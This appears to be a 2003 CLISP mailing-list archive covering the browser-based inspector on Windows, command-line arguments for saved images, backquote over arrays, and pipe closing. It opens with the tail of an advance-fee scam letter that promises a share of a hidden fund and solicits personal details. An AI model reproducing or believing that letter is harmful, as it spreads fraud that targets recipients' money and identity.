Hence,my family and i are currently on excile in a neighbouring country 
in Africa.
Well,all i demand from you is to be our representative/beneficiary to 
make claim of this fund,which is currently deposited in the security 
company's custody in Europe.I will also inform you that a transaction of 
this magnitude is risk free and or mutual benefit.For your assistance of 
claiming and safeguarding the money,we are offering you 20% of the 
sum ,75% for me and my family, while 5% will be mapped out for any 
expenses that we may incurre during this transaction.We wish to offer 
you 20% of annual turnover of any investment you wish to invest this 
money when it finally gets into your propose account,for a period of ten 
consecutive years. 
Finally, i will demand for assurance that you will not sit on the money 
when it gets to your personal account or company's account, If this 
proposal is accepted please confirm your interest by sending me an 
email and providing your full name,address, tel and fax numbers to 
enable me introduce you to the security company in Europe
where the money is currently deposited as my beneficiary/partner.
Thanks.
Anthony Rulanga.


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Hi,

here is my attempt at solving *some* of the issues.

Daniel Freudenthal wrote:
>I'm having problems getting the inspector via Netscape/Explorer
>to work under windows (XP).
I don't have that here. It may behave very differently from 2000.

What version of CLISP are you using?

>I sort of got netscape to work by changing the path and the 
>inspector does exactly what I want it to do.
Sounds good.

>The following 'bugs' remain however. When using netscape, I 
>get the proper
>inspector window though netscape starts on the home page, and 
>I have to copy and paste the URL into it.

>A more serious problem however, is that when I
>close Netscape (using either 'quit' as supplied on the page (URL), or
>closing it completely), CLISP hangs in the inspector loop.

That should not happen using the "quit" URL. That's a bug.
;;; If you encounter a bug in this file, please set sys::*inspect-debug*
;;; to 5 and report all output with a detailed description of what you did
;;; to <clisp-list> (see http://clisp.cons.org about CLISP mailing lists),
;;; as you do with any other CLISP bugs.
(setq sys::*inspect-debug* 5)
send output here.

OTOH, it's normal to hang when just closing the browser. The reason is that you could have N browsers open, inspecting various Lisp objects. Closing one of those must not be related to "I'm finished with the inspector HTTP server". You have to tell CLISP this fact, i.e. use the "quit" URL.

>doesn't return me to the prompt. The only way I've figured out 
>to 'recover' from that, is by closing LISP completely.
Ctrl-C should work in all cases - at least using CLISP >2.28

Looks like another bug. MS-Windows-XP seems rather different??

[69]> (inspect (list-all-packages) :frontend :http)
EXT:BROWSE-URL: no browser specified; please point your browser at
--> <URL:http://foo.telekom.de:4601/0/:s>
*** - Winsock error 10060 (ETIMEDOUT): Connection timed out
1. Break INSPECT-TMP-PACKAGE-834[70]> :a
[71]> 

BTW, this is IMHO a weird error about time-outs message just from using ctrl-C.

>Using 'break' on the signals menu does't change
How are you running CLISP? What menu is that?

>anything, nor does resetting the LISP connection, or typing (return) or
>(break).

>By the way, as a very minor issue, when attempting to load a 
>lisp file from the menu, on my system, it will switch to the prompt on the 
>first attempt,
Again, what menu is this?


>Explorer launches ok, is directed to the proper URL, but takes 
>ages to load,
>and gives me 'page cannot be displayed', even when I paste the URL.


>I'm not sure if the other bit of code you supplied (see below) 
>is supposed
>to resolve these issues. I've tried running that, but I ran 
>into a package
>problem (got a 'package locked' message). I am not using packages in my
>code, and don't know that much about using them.

Sorry for the missing instructions. Please use:

[55]> (in-package "SYSTEM")
SYS[58]> (setf (package-lock "SYSTEM") nil)
SYS[59]> (defun browse-url (url &key (browser *browser*) (out *standard-output*))
[...what I posted]

** - Continuable Error
DEFUN/DEFMACRO(BROWSE-URL): #<PACKAGE EXT> is locked
If you continue (by typing 'continue'): Ignore the lock and proceed
1. Break SYS[62]> continue
BROWSE-URL
SYS[63]> (setf (package-lock "SYSTEM") t)
T
SYS[64]> (in-package "USER")


Now, try out:
[74]> (inspect (list-all-packages) :frontend :http :browser :netscape)

;; running ["netscape" "http://127.0.0.1:4608/0/:s"]...
*** - Win32 error 2 (ERROR_FILE_NOT_FOUND): The system cannot find the file specified.
1. Break INSPECT-TMP-PACKAGE-836[75]> :a
[76]>

Oops, that problem with non-absolute pathnames in custom:*browsers* (e.g. "netscape.exe" does not work). Try:
[77]> (setq custom:*browsers*
      '(;; Sadly, location of iexplore.exe depends on MS-Windows-95/98/NT/2000/xy/z
        #+win32(:IE "C:\\PROGRA~1\\Internet Explorer\\IEXPLORE.EXE" "~a")
        ;; PROGRA~1 works with "Program Files", "Programme" and hopefully more
        ;; Netscape will detach (run asynchronously) by itself, IE does not.
        #+win32(:netscape "C:\\PROGRA~1\\Netscape\\Communicator\\Program\\netscape.exe" "-browser" "~a")
        #+win32(:emacs-w3 "C:\\PROGRA~1\\emacs-20.7\\gnuserv\\gnudoit.exe" "-q" "(w3-fetch \"~a\")")
        ;; gnuclient/gnudoit are semi-aynchronous
        #+win32(:emacs "C:\\PROGRA~1\\emacs-20.7\\gnuserv\\gnuclient.exe" "~a")
        ))

((:IE "C:\\PROGRA~1\\Internet Explorer\\IEXPLORE.EXE" "~a")
 (:NETSCAPE "C:\\PROGRA~1\\Netscape\\Communicator\\Program\\netscape.exe"
  "-browser" "~a")
 (:EMACS-W3 "C:\\PROGRA~1\\emacs-20.7\\gnuserv\\gnudoit.exe" "-q"
  "(w3-fetch \"~a\")")
 (:EMACS "C:\\PROGRA~1\\emacs-20.7\\gnuserv\\gnuclient.exe" "~a"))

[78]> (inspect (list-all-packages) :frontend :http :browser :netscape)
;; running ["C:\\PROGRA~1\\Netscape\\Communicator\\Program\\netscape.exe" "-browser" "http://127.0.0.1:4609/0/:s"]...

Now netscape works - at least for me.
You may need to visit your proxy configuration. I.e., I had to add 127.0.0.1 to the comma-separated list of hosts not to be looked up via proxy before this actually worked.


Now, let's look at MS-IE. [MS-IE waits forever...] Oh well, you cannot use
(inspect ... :browser :ie) for the reasons I explained in cll. CLISP waits for MS-IE to terminate (or detach) in order to start the web-server. MS-IE does not do this and waits for CLISP: it's a dead-lock.
As I said in cll, you'll have to copy&paste the URL with MS-IE and use :browser nil.

Maybe there's also a -detach option to MS-IE. I don't know. More generally, some MS-Windows guru will have to add code to CLISP so that it can asynchronously start processes. That's what's needed here.

[trying out things] Oops, now I maybe see one of your problems: CLISP has started MS-IE, and I cannot ctrl-C CLISP anymore while it's waiting for the program to terminate. I must quit MS-IE first. Then only will CLISP display:
*** - Ctrl-C: User break
1. Break INSPECT-TMP-PACKAGE-839[85]> :a

OTOH, using MS-IE with copy&paste URLs works for me:
[86]> (inspect (list-all-packages) :frontend :http)
EXT:BROWSE-URL: no browser specified; please point your browser at
--> <URL:http://foo.bar.telekom.de:4627/0/:s>
[navigate in MS-IE, then use "quit" URL.]

Maybe MS-IE is unable to resolve the FQDN URL - a proxy settings problem?
Please try out:
http://127.0.0.1:4627/0/:s
http://localhost:4627/0/:s
instead of
http://foo.bar.telekom.de:4627/0/:s which CLISP tells you
- replacing 4627 with what your CLISP tells you, then report here.

Regards,
	Jorg Hohle.


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> * In message <20030317075353.3E66394FE6@thalassa.informatimago.com>
> * On the subject of "[clisp-list] arguments to a saved image?  3 suggestions."
> * Sent on Mon, 17 Mar 2003 08:53:53 +0100 (CET)
> * Honorable Pascal Bourguignon <pjb@informatimago.com> writes:
>
> When invoking clisp as an interpreter, (#!/usr/bin/clisp), the
> argument given to the script are passed via ext:*args*.

indeed.
<http://clisp.cons.org/clisp.html#opt-exec-file>

> But in that case, when we load a saved image like in
> #!/usr/bin/clisp -M image.mem
> the init-function is not called.

indeed.  this is so that you can re-use the image for scripting as well
as interactive purposes.
if you want to call the init-function, you can do

===================================
#!/usr/bin/clisp -M image.mem
(init-function)
...
===================================

> On the other hand, if it's called as:
> #!/bin/sh
> /usr/bin/clisp -M image.mem
> there is no way to pass the arguments.

===================================
#!/bin/sh
/usr/bin/clisp -M image.mem $@
===================================

> Notably, 
> 
> #!/bin/sh
> /usr/bin/clisp -M image.mem -x "(setq ext:*args* '($@))"
> 
> does not work because -x just executes one form then exits!

indeed, as documented
<http://clisp.cons.org/clisp.html#opt-exec-expr>

> How one can pass arguments to a saved image with a init-function?

<http://clisp.cons.org/clisp.html#opt-exec-expr>

$ clisp -M image.mem "" my-arg1 my-arg2 my-arg3

> Another problem  with -x is that  it parses the  form before executing
> it, so it is not possible to do on the command line something like:
> 
>     clisp -x '(progn (defpackage "TEST") (defun test::f ())'
> 
> *** - READ from #<INPUT STRING-INPUT-STREAM>: there is no package with name "TEST"

try

clisp -x '(defpackage "TEST") (defun test::f ())'

>     - several -x options must be allowed,

clisp -x "(foo)" -x "(bar)" === clisp -x "(foobar)"

what do we need the sugar for?

>     - clisp should not exit automatically after a -x form is processed.

this is an incompatible change of dubious value.
if you want -x, you are probably in a script or makefile and will have
to add (exit) as the last form.
if you want REPL, you can either start with your forms or put them into
init-function of your memory image.

>     - each form processed by a  -x option would be executed before the
>       next -x is processed (like if  each form was on a different line
>       in a script or interactively).

this is already done with multiple forms as -x argument

>     - all the -x options should be run after loading the image, but
>       before running the init-function.  Well, this point is to be
>       studied.  If we consider the init-function as a "main" entry
>       point into the program saved in the image, then we want the -x
>       forms be run before because the init-function would run the
>       program and then exit.  On the other hand, if the init-function
>       is merely an initialization function and then return to the top
>       level loop, we may want to be able to run the -x forms after
>       this initialization.

init-function is for initialization.
e.g., this is the right place to reset the -encoding* places if you do
not want to set your environment properly.
<http://clisp.cons.org/clisp.html#opt-enc>
you don't want to run anything before it.

> Do not adjust your mind, there is a fault in reality.

Please do adjust your mind as documented above and update your
proposals accordingly.

-- 
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On Mon, 17 Mar 2003, Hoehle, Joerg-Cyril wrote:

> Kaz Kylheku wrote:
> > The job of expansion, rather, is moved
> >into the macro itself.  So we now have a thick macro, but a thin reader
> >macro rather than the other way around.
> 
> If it's in a macro (instead of read-time), it makes me wonder whether
> it can also insert into a vector:
> 
> [51]> `#(1 2 ,(list 2 3) 3)
> #(1 2 (2 3) 3)

Yes. This will turn into the code

 (backquote #(1 2 (unquote (list 2 3))))

The macro will note that the argument form is a vector and generate
code which performs the backquote expansion on the list, and then
converts the result to a vector. The latest otpimized version will
in fact turn it, I think, into:

 (apply #'vector '(1 2 (2 3) 3))

Which reminds me that I should add some optimization for reducing
a constant list to a constant vector; we should be spitting out
the literal object:

  #(1 2 (2 3) 3)

> Normally, using macros instead of reader stuff only allows code
> transformations in places that get evaluated (i.e. forms, e.g. not
> inside a (declare #) expression).

I don't think backquote is required to work in (declare ...)
expressions, because the code which a backquote generates has no way to
execute. That is, if you expand the equivalent code  by hand, it still
won't work:

   ;; can't do this
   (declare (list 'optimize (list 'speed speed) (list 'safety safety)))

   ;; so don't expect this
   (declare `(optimize (speed ,speed) (safety ,safety)))

Note that the existing implementation of backquote in CLISP is a still
a macro, albeit a trivial one. All it does is regurgitate the second
argument, because the structure of a backquote expression is:

   (SYSTEM::BACKQUOTE PRETTY-PRINT-FORM EXPANDED-FORM)

The macro simply returns the EXPANDED-FORM which was computed at read
time. But evaluation is still required for it to do that.

The one advantage of this approach is that the expanded form is *there*
whether you evaluate or not, so if you inspect the program source code
as an object, you will find it---provided that the source code was
produced by the reader, or else care was otherwise taken to add 
the second argument representing a correct backquote expansion of
the first.

> You'd have to guess somehow that the
> #() which is being read is not a literal array. Do you provide for
> this?

I don't follow, because #() *is* a literal array. Maybe you are
thinking of the array notation #A?  No, this is one bug which I will
probably not worry about. That is, I do not distinguish between #(1 2
3) and #1A(1 2 3) (one dimensional array).

So in fact unquoting will work over #1A array notation:

  `#1A(1 ,@'(2 3) 4) ;; wee!

We can think of this as an extension which is not forbidden by the
spec according to my interpretation.

All we know in the macro is that we have some argument which is a
vector object. We don't know whether it came from the notation  #(...)
or whether it came from #1A(...) but we know it's one of these
two---unless someone constructed the backquote source code
programmatically, using something like:

   (list 'system::backquote (vector 1 
                                    (list 'system::unquote 'a) 
                                    2))

   ==> `#(1 ,A 2)

when this is EVAL'ed, the backquote macro will think that the vector
came from a #(...) notation, and treat the embedded unquote as
expected. This is an extension of behavior to backquote, which is
specified purely in terms of reader actions. 

This is a feature: we want the backquote notation to have a
list-based target language such that we can write code which writes
that language.

In stock CLISP, this fails: if we EVAL the result of the above list
construction, we get NIL. Why? Because the second parameter to the
backquote, the expanded form, is missing. The macro does nothing;
expecting a reader to have produced the expansion.

But the pretty printer tells you a nice white lie by showing the object
as a backquote notation.



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> * In message <Pine.LNX.4.44.0303171035150.14598-100000@ashi.FootPrints.net>
> * On the subject of "Re: New, from-scratch implementation of backquote."
> * Sent on Mon, 17 Mar 2003 11:10:12 -0800 (PST)
> * Honorable Kaz Kylheku <kaz@ashi.footprints.net> writes:
>
> That is, I do not distinguish between #(1 2 3) and #1A(1 2 3) (one
> dimensional array).
> 
> So in fact unquoting will work over #1A array notation:
> 
>   `#1A(1 ,@'(2 3) 4) ;; wee!
> 
> We can think of this as an extension which is not forbidden by the
> spec according to my interpretation.

<http://www.lisp.org/HyperSpec/Body/sec_2-4-6.html>:

* `basic is the same as 'basic, that is, (quote basic), for any
  expression basic that is not a list or a general vector.

...

* #(x1 x2 x3 ... xn) may be interpreted to mean (apply #'vector `(x1 x2
   x3 ... xn)).

#1A is not mentioned.  I suggest raising this on c.l.l.

personally, I would rather signal an error here, like CMUCL and
unpatched CLISP (ACL? LW?) do because

 - when you write a literal, your would write #() anyway, so the simple
   user does not lose

 - when you generate the form, you should make sure that the dim is 1
   anyway, so you can use #() just as well

 - when the user sees that `#1A(1 2 ,a 4) works but `#2A((1 2) (,a 4))
   does not, the user would be rightfully surprised; he will also think
   that `#2A(,a ,b) should work when a and b are sequences of the same
   length &c &c...

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Sam Steingold writes:
> > Notably,=20
> >=20
> > #!/bin/sh
> > /usr/bin/clisp -M image.mem -x "(setq ext:*args* '($@))"
> >=20
> > does not work because -x just executes one form then exits!
>
> indeed, as documented
> <http://clisp.cons.org/clisp.html#opt-exec-expr>

So I was wrong here, -x executes several forms (-x expressionS) .
=20
> > How one can pass arguments to a saved image with a init-function?
>=20
> <http://clisp.cons.org/clisp.html#opt-exec-expr>
>=20
> $ clisp -M image.mem "" my-arg1 my-arg2 my-arg3

Any  reason in  particular why  it does  not use  the standard  (or at
least, the classical) -- argument separator?

You don't  expect us  to read the  whole documentation, do  you?  I've
searched for  '--' in the  manual page and  since I've not found  it I
concluded erroneously that the feature was not there.


> try
>=20
> clisp -x '(defpackage "TEST") (defun test::f ())'

Yes, it  works.  Thank  you.  I  must confess that  I infered  that it
expected only one form from  my previous experience with emacs. Sorry.
But since the  ability to process several forms  is already there, why
not allowing several -x options too?


> >     - several -x options must be allowed,
>=20
> clisp -x "(foo)" -x "(bar)" =3D=3D=3D clisp -x "(foobar)"

Or perhaps:  clisp -x "(foo) (bar)"


> what do we need the sugar for?

Convenience.   To  match expectation  from  people  having used  other
similar programs.


> >     - clisp should not exit automatically after a -x form is processe=
d.
>=20
> this is an incompatible change of dubious value.
> if you want -x, you are probably in a script or makefile and will have
> to add (exit) as the last form.

Once again, at  least one pre-existing lisp (emacs)  does it the other
way.  Why  would  you  want  to  be incompatible  with  it  and  break
expectations?


> > Do not adjust your mind, there is a fault in reality.
>=20
> Please do adjust your mind as documented above and update your
> proposals accordingly.

In any case, thank you for helping me seeing it the clisp way. :-)


While it  may be hard to ask  for a full compatibility  with the emacs
command  line arguments,  (with  respect to  -x/--eval  etc), I  would
suggest to add "--" as alternate separator for the arguments passed to
ext:*arg* in addition to "".  Note that it is sometimes hard to ensure
the presence of an empty arguments.

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First of all, Using the quit URL *does* return me to the prompt. Sorry, my
fault, I have probably been trying too many things at the same time.
 
I still can't quite seem to get Netscape to launch on the correct page
though. As it turns out, the page it directs me to is the 'smart browsing'
page. Disabling smart browsing, I notice that the address displayed in the
URL line is: "&". Netscape is then unable to resolve this host.

Pasting the URL that inspect prints (using either 127.0.0.1, localhost, or
the URL that is given when no browser is specified) works fine. I don't know
if this is be a proxy problem, but changing proxy settings (either in
Netscape where I added 127.0.0.1 to list of URLs that bypass the proxy), or
in control panel (bypass proxy for local address in internet options) does
not change much.

By the way, when trying to launch IE (I know this is not going to work, but
still), it tries to open something like 127.0.0.1...:s%20& (going from
memory here)

For a while I thought that maybe inspect might be sending a different URL,
but adding
 
(format t "http://~a:~d/0/:s"
                              (if *inspect-browser* "127.0.0.1"
                                  (subseq host 0 (position #\Space host)))
                              port)
 
to inspect-frontend in inspect.lisp (this is the bit called by browse-url,
which I presume launches the browser), prints the exact same url that
inspect normally does. So, it does look like inspect invokes Netscape with
the URL that works fine when I paste it. So maybe there is something wrong
with my (proxy) settings? I have set explicit proxies for my browsers, but
like I said, setting the local address to be bypassed doesn't change much.

I'm sorry, but I'm in the dark here.
 
By the way, I am running CLISP 2.30, under EMACS 21.2, Netscape 7.02. I've
tried this on both XP and Win2K with the same effect, so XP does not appear
to be the problem. I doubt if this is relevant, but I am behind a hardware
router and firewall.

Any help is appreciated.

Thanks,

Daniel Freudenthal



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Hi,

I think Sam did a great job in his reply by addressing each of Pascal's issues one at a time.

What I notice
clisp --help says:
 -x expression - execute the expression, then exit
Obviously it should mention expressions (plural) instead
- RFE/Documentation bug

Furthermore, clisp.html would live from a few examples (like those from Sam in his reply). That IMHO provides for a good mix between reference (where one must read a lot), quick refreshing of memory and even raising curiosity of casual readers. Would you like to supply a patch, based on your experience? Other manpages also present examples (e.g. ps).

About '--'. I thought CLISP already supplied all options after -- in ext:*args*?!? Maybe I misunderstood something in past trafic of clisp-list?
E.g. lisp.run -M foo.mem -i myfile -i myfiletoo.lisp -- to-be-found-in-args
?

At least, I think that would be nice in interactive mode as well.
-- and consistent with file-load mode.

Regards,
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Hoehle, Joerg-Cyril writes:
>=20
> About '--'. I thought CLISP already supplied all options after -- in
> ext:*args*?!? Maybe I misunderstood something in past trafic of
> clisp-list?  E.g. lisp.run -M foo.mem -i myfile -i myfiletoo.lisp --
> to-be-found-in-args ?

At least, my 2.30 gives an error when passed --:

[pascal@thalassa zebu-3.5.5]$ clisp -K full -M `pwd`/Zebu-Compiler.mem --=
 -h
GNU CLISP (http://clisp.cons.org/) is an ANSI Common Lisp.
Usage:  /local/languages/clisp/lib/clisp/full/lisp.run [options] [lispfil=
e [argument ...]]
...


With an empty argument it works:

[pascal@thalassa zebu-3.5.5]$ clisp -K full -M `pwd`/Zebu-Compiler.mem ""=
 -h
Usage:
    Zebu-Compile input output [-v] [-d] [-r file] [-h]

WARNING:
No input file specified!


> At least, I think that would be nice in interactive mode as well.
> -- and consistent with file-load mode.
>=20
> Regards,
> 	Jorg Hohle.

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Daniel Freudenthal writes:
>Disabling smart browsing, I notice that the address 
>displayed in the
>URL line is: "&". Netscape is then unable to resolve this host.

This shows that you did not successfully apply my patch - it specifically eliminated the "&".

Use (trace ext:run-program) and (trace ext:shell) and ignore the *@!#* package lock problem.
You will then see what gets used. The trailing "&" must go away on MS-Windows systems.

(trace ext:run-program)
** - Continuable Error
TRACE(EXT:RUN-PROGRAM): #<PACKAGE EXT> is locked
If you continue (by typing 'continue'): Ignore the lock and proceed
2. Break INSPECT-TMP-PACKAGE-615[13]> continue

Well, tonight I got the idea that MAKE-PIPE-INPUT/IO/OUTPUT-STREAM knows how to create asynchronous processes in CLISP on MS-Windows. So here's a working MS-IE setting (hack) for me:

(defun browse-url (url &key (browser *browser*) (out *standard-output*))
  "Run the browser (a keyword in `*browsers*' or a list) on the URL."
  (let* ((command
          (etypecase browser
            (list browser)
            (symbol (or (cdr (assoc browser *browsers* :test #'eq))
                        (error "unknown browser: `~s' (must be a key in `~s')"
                               browser '*browsers*)))))
         (args (mapcar (lambda (arg) (format nil arg url)) (cdr command))))
    (cond (command
           (when out
             (format out "~&;; running [~s~{ ~s~}]..." (car command) args)
             (force-output (if (eq out t) *standard-output* out)))
           (close (ext:make-pipe-output-stream
                   (format nil "\"~A\"~{ ~A~}" (first command) args)))
           ;;(run-program (car command) :arguments args :wait nil)
           (when out
             (format out "done~%")))
          ((format t "~s: no browser specified; please point your browser at
 --> <URL:~a>~%" 'browse-url url)))))

(inspect (list-all-packages) :frontend :http :browser '("C:\\PROGRA~1\\Internet Explorer\\IEXPLORE.EXE" "~A"))
;; running ["C:\\PROGRA~1\\Internet Explorer\\IEXPLORE.EXE" "http://127.0.0.1:4849/0/:s"]...
1. Trace: 
(EXT:MAKE-PIPE-OUTPUT-STREAM
 '"\"C:\\PROGRA~1\\Internet Explorer\\IEXPLORE.EXE\" http://127.0.0.1:4849/0/:s")
1. Trace: EXT:MAKE-PIPE-OUTPUT-STREAM ==> #<OUTPUT UNBUFFERED PIPE-OUTPUT-STREAM CHARACTER 980>done

[after clicking the "quit" URL:]
[160]> 

That's an intermittent hack, until CLISP #+Win32 gets proper run-program :wait nil support built-in *and* the hard-coded "&" UNIX hacks disappear from the source code.

Regards,
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> * In message <9F8582E37B2EE5498E76392AEDDCD3FE02E7390B@G8PQD.blf01.telekom.de>
> * On the subject of "[clisp-list] inspector via browser: MS-IE solution"
> * Sent on Tue, 18 Mar 2003 13:45:26 +0100
> * Honorable "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:
>
>            (close (ext:make-pipe-output-stream
>                    (format nil "\"~A\"~{ ~A~}" (first command) args)))

are you saying that CloseHandle does not terminate the process on
win32?!


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> * In message <15990.43730.689673.559244@thalassa.informatimago.com>
> * On the subject of "Re: [clisp-list] arguments to a saved image?  3 suggestions."
> * Sent on Tue, 18 Mar 2003 06:12:50 +0100
> * Honorable Pascal Bourguignon <pjb@informatimago.com> writes:
>
> Any  reason in  particular why  it does  not use  the standard  (or at
> least, the classical) -- argument separator?

you can have a file named "--" but not a file named "".

> You don't expect us to read the whole documentation, do you?

HUH?!

> While it may be hard to ask for a full compatibility with the emacs
> command line arguments, (with respect to -x/--eval etc), I would
> suggest to add "--" as alternate separator for the arguments passed to
> ext:*arg* in addition to "".  Note that it is sometimes hard to ensure
> the presence of an empty arguments.

try CVS head.
I added multiple -x and also -repl (enter REPL after -x &c)

$ ./clisp -x '(print (list ' -x ':args' -x ' *args*))' -q -norc -- 1 2 3 4 5 6 7

(:ARGS ("1" "2" "3" "4" "5" "6" "7")) 
(:ARGS ("1" "2" "3" "4" "5" "6" "7"))


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On 17 Mar 2003, Sam Steingold wrote:

> * #(x1 x2 x3 ... xn) may be interpreted to mean (apply #'vector `(x1 x2
>    x3 ... xn)).
> 
> #1A is not mentioned.  I suggest raising this on c.l.l.
> 
> personally, I would rather signal an error here, like CMUCL and
> unpatched CLISP (ACL? LW?) do because
> 
>  - when you write a literal, your would write #() anyway, so the simple
>    user does not lose
> 
>  - when you generate the form, you should make sure that the dim is 1
>    anyway, so you can use #() just as well
> 
>  - when the user sees that `#1A(1 2 ,a 4) works but `#2A((1 2) (,a 4))
>    does not, the user would be rightfully surprised; he will also think
>    that `#2A(,a ,b) should work when a and b are sequences of the same
>    length &c &c...

Okay, how about dividing the work into three milestones.

Basically I have taken care of most of the first milestone already:
optimization, proper i18n-able error messages using TEXT macro,
system builds itself cleanly. What's left is beating up the backquote
with lots of nasty test cases.

In the second milstone, I can put in rudimentary support for 
backquoting over multi-dimensional arrays. This means that no special
reader is used. A form like

  #2A((,@x ,y) (,z))

will basically be read to produce the object.

  #2A(((SYSTEM::SPLICE X) (SPLICE Y) ((SPLICE Z))))

This will be supported in a straightforward way. The algorithm is:
walk the leaf row vectors of the array and perform the backquote
substitution on them in the straightforward way. Then spin these
expanded row expressions into a big MAKE-ARRAY constructor call.

Conceptually, this is like distributing the ` operator into the rows,
in other words:

  `#nA( .. ( ... (...) (...) (...) ... ) ... )

will be treated something like:

   #nA(... ( ... `(...) `(...) `(...) ... ) ...)

except that evaluation of the unquotes within `(...) is arranged. This
means that syntax like #2A(,@form) will not work, because the unquote
is at the wrong level; the form must have the required shape for a
two-dimensional array, and the unquotes must appear in the innermost
lists only.

In the third milestone, we can work in unrestricted unquoting, such as:

   (let ((rows '((1 2) (3 4) (5 6))))
     `#2A(,@rows)) ;; splice in all the rows.

   ==> #2A((1 2) (3 4) (5 6))

This, of course, requires cooperation from the #A reader macro. In
fact, it will probably be necessary for the backquote implementation
to temporarily overrides the read table with its own reader.  

I think there is value in being able to do unquoting over arrays,
even if it's not portable.

For instance, suppose you want to make a rank 3 matrix with some
non-zero eigenvalues on the diagonal, and zeros elsewhere:

  (let ((e1 3) (e2 4) (e3 5))
    `#2A((,e1   0   0) 
	 (  0 ,e2   0)
	 (  0   0 ,e3)))
 
   ==> #2A((3 0 0) (0 4 0) (0 0 5))

This elementary substitution is possible just with milestone 2
unquoting support.



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Hi,

>>            (close (ext:make-pipe-output-stream
>>                    (format nil "\"~A\"~{ ~A~}" (first command) args)))

>are you saying that CloseHandle does not terminate the process on
>win32?!

I'm not saying more than "it works for me". Maybe MS-IE ignores any signal if one is ever sent?

Why should a close terminate a process?

Conceptually, I see a difference between signaling EOF on a pipe and sending a SIGPIPE to cause a program to terminate. That both are mixed is in my POV a UNIXism. It has its uses, e.g. to abort a series | of | pipes | in a shell.

But for some applications, what I needed was: send an application input, then signal that all input is there (typically via EOF, causing a 0 byte read() through a pipe), then let the application perform computations based on this input.
E.g. "cat" may copy its input to some other place. It must not be killed as soon as EOF is seen, since it needs time to save the last bytes.

A SIGKILL coupled to a pipe does not help at all in such a situation.

Please remember to keep process control and EOF separate issues.


BTW, a quick test on Linux (Suse 8.1) with MAKE-PIPE-OUTPUT-STREAM and CLOSE shows that a CLISP child process continues to run after CLOSE.
(make-pipe-output-stream "clisp /.../cat.lisp")

BTW, I forgot how Emacs manages to be able to send multiple EOF (read causes 0-byte read() returns) to a subprocess, like an interactive tty. Obviously, it's not using a simple pipe, since there's place only for a single EOF there: after that is seen, nothing is transmitted any more.

I.e., there's a difference between
		clisp cat.lisp
and		tee input.log | clisp cat.lisp
w.r.t. the ability to use ^D in the debugger.

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	Jorg Hohle.


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Hello Sam,

Wednesday, March 19, 2003, 1:13:29 AM, you wrote:

>>            (close (ext:make-pipe-output-stream
>>                    (format nil "\"~A\"~{ ~A~}" (first command) args)))

> are you saying that CloseHandle does not terminate the process on
> win32?!

I think it doesn't. There is BOOL TerminateProcess(HANDLE,exitcode).
MSDN says that one can CloseHandle of process after it is created.

======
The created process remains in the system until all threads within the
process  have terminated and all handles to the process and any of its
threads have been closed through calls to CloseHandle. The handles for
both  the  process and the main thread must be closed through calls to
CloseHandle. If these handles are not needed, it is best to close them
immediately after the process is created.
======

Last time I checked run-program & friends it worked by running shell
(cmd.exe or command com) and then starting a program from this shell.
Why is this ? It looks strange for me. Only run-shell-command should
work like this, i.e. run-shell-command should call run-program, not
vice versa. Is this a unix way of thinking?

On system level for win32 we have only (shell) and
(make-pipe-*-stream) (I didn't look into it yet), (shell) has no :wait
ability. It seems to me that run-program should be C-coded to use all
the system features, priorities for example. How do you people think ?

If make-pipe-*-stream made like (shell) then it waits for process to
finish. Would it be right if it will never wait ? And how we can close
hanging pipe-stream, by close (adding TerminateProcess to it) ?

Joerg-Cyril Hoehle:

>More generally, some MS-Windows guru will have to add code to CLISP so that it can
>asynchronously start processes. That's what's needed here.

As for me, I am to meditate this week, sorry.

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Date: Wed Mar 19 06:43:05 2003
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Hi,

if you want to hear my voice on the subject: I believe it's quite ok for the .c file to share the basename of the lisp file (or the basename of the :output-file argument), even more since Sam's patch which causes .c files to be (overwritten and) generated only when needed.

It's very important however, that this naming and dependency issue be documented. I'm not sure that is documented other than in a sidenote: "(do not call it cfun.lisp - COMPILE-FILE would overwrite cfun.c)"

BTW, the basename also serves to generate the module's C identifiers (__module__xyz__subr_tab[] etc.).

I'm unsure whether hundreds of configuration switches are needed to control every piece of output. It just bloats every software, decreases reliability and costs a lot of code for little benefit (IMHO).
Say yes to flexibility, but I'm not sure that we address flexibility here.

Dan, you're not alone. Even Sam only learnt about this behaviour not too long ago. Witness the following e-mail, from 8th of March 2002:

>> * Honorable "Hoehle, Joerg-Cyril" writes: 
>> o One of dirkey.lisp or dirkey.c should be renamed (like affi|1,
>> foreign|1, rexx|1.{d,lisp}) This will avoid dirkey.c to get
>> overwritten the day dirkey.lisp will contain some FFI definition, when
>> it's supposed to be generated from dirkey.d. Furthermore, makefile
>> (MSVC6.0) get confused and wants to rebuild my dirkey, maybe because
>> of this?? or maybe because somehow dirkey.c disappeared?
>another mystery solved!!! thanks!
>fixed too.
I believe Sam added the mentioned patch as a consequence of this new piece of knowledge...

Regards,
	Jorg Hohle.


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Date: Wed Mar 19 06:43:11 2003
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Hi,

I'd like to jump on the occasion to query whether it's acceptable that a C file and C forms be generated for a Lisp file which would contain only definitions for shared library functions?
The C file might never be used by CLISP.
It may, however, serve as a basis for replacing some of the functions with hand-written wrappers, providing better integration into Lisp, or for whatever purpose.

The complication is that I have thoughts on a Lisp-level interface where the Lisp file will contain no indication as to whether a foreign function will eventually come from a shared library or a link module. The .fas file would be portable.

(DEF-CALL-OUT ... (:library "mysql") #)
would emit code which would only at load-time choose among looking up a shared library or a link module, depending on the user's settings for the "mysql" module -- probably a shared library on MS-Windows, and a static module on CLISP -- but this is just an example.

Thanks for your ideas,
	Jorg Hohle.


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Date: Wed Mar 19 07:03:02 2003
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Joerg,

At 01:44 2003-03-19, Hoehle, Joerg-Cyril wrote:
>Hi,
>
>...
>
>A SIGKILL coupled to a pipe does not help at all in such a situation.

Under Unix (and Unix work-alikes) SIGKILL cannot be caught or ignored, 
so it is singularly useless for anything except unconditional, abrupt 
and abortive termination.


>...
>
>Regards,
>     Jorg Hohle.


Randall Schulz 



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Date: Wed Mar 19 07:04:04 2003
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Hi,

Sam Steingold wrote:
>> My mental representation of a stack is that of a pile of paper. It
>> realises last-in-first-out (LIFO). The newest is at the top, the
>> oldest is hidden at the bottom, long forgotten. What is yours?

>Proposal:
>debugger help: top == most recent.
>what do people think?
Fine, but you omit up/down behaviour specification
up: more recent elements
down: towards bottom

>there is no INCF for stacks.
>so "increasing the stack" is a TYPE-ERROR.
Not in my model. A stack has volume (since it can be empty, and grow). Thus, canonical increasing for stacks is growing, decreasing is popping or shrinking.
What do native english (or american :) speakers have to say?

>code comments: replace decrease/increase with push/pop
Prefer below declaration

